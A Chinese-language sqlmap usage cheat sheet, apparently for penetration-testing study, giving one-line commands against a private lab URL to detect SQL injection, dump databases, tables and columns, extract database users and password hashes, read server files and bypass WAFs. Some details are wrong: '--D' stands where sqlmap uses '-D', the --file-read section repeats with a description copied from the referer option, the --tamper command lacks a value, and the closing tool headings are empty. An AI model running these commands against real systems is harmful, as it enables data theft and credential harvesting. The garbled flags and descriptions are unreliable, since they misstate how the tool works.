SQLMap

sqlmap使用手册

  sqlmap是一款基于python编写的开源渗透测试工具,可以实现自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语
  • 句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用Union 的情况下的注入。
  • 堆查询注入,可以同时执行多条语句时的注入。

判断是否存在注入

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l"

注入post

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/" --data="username=admin&pwd=admin"

从文本中获取HTTP请求

1
sqlmap -r text.txt

查询当前用户下所有数据库

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --dbs

获取数据库申的表名

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --D <database> --tables

获取表的字段名

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --D <database> -T <table> --columns

获取字段内容

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --D <database> -T <table> -C <columnname>,<columnname>,<columnname> --dump

获取数据库的所青用户

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --users

获取数据库用户的密码

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --passwords

获取当前数据库的名称

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --current-db

获取当前数据库的用户名称

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --current-user

参数讲解

–level 5:探测等级

  参数–level 5是最高等级,等级越高测试过程中包含的payload越多时间也就越慢,五级会自动破解cookie,XFF等头部注入,相对的运行速度也会变慢。sqlmap使用的payload可以在xml/payloads.xml中查看,也可以添加自己的payload。

–is-dba 当前用户是否为管理权限

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --is-dba

–roles 列出数据库管理员角色

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --roles

–referer HTTP Referer头

当–level 参数设定为3及以上时sqlmap会尝试对referer注入。

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --referer http://www.baidu.com

–file-read

当–level 参数设定为3及以上时sqlmap会尝试对referer注入。

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --file-read /to/your/dir

–file-read

当–level 参数设定为3及以上时sqlmap会尝试对referer注入。

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --file-read /to/your/dir

–tamper 绕过WAF过滤

1
sqlmap -u "http://192.168.1.104/sqll/ Less-1/?id=l" --tamper 

Nmap

BurpSuite

WireShark

Nessus

MSF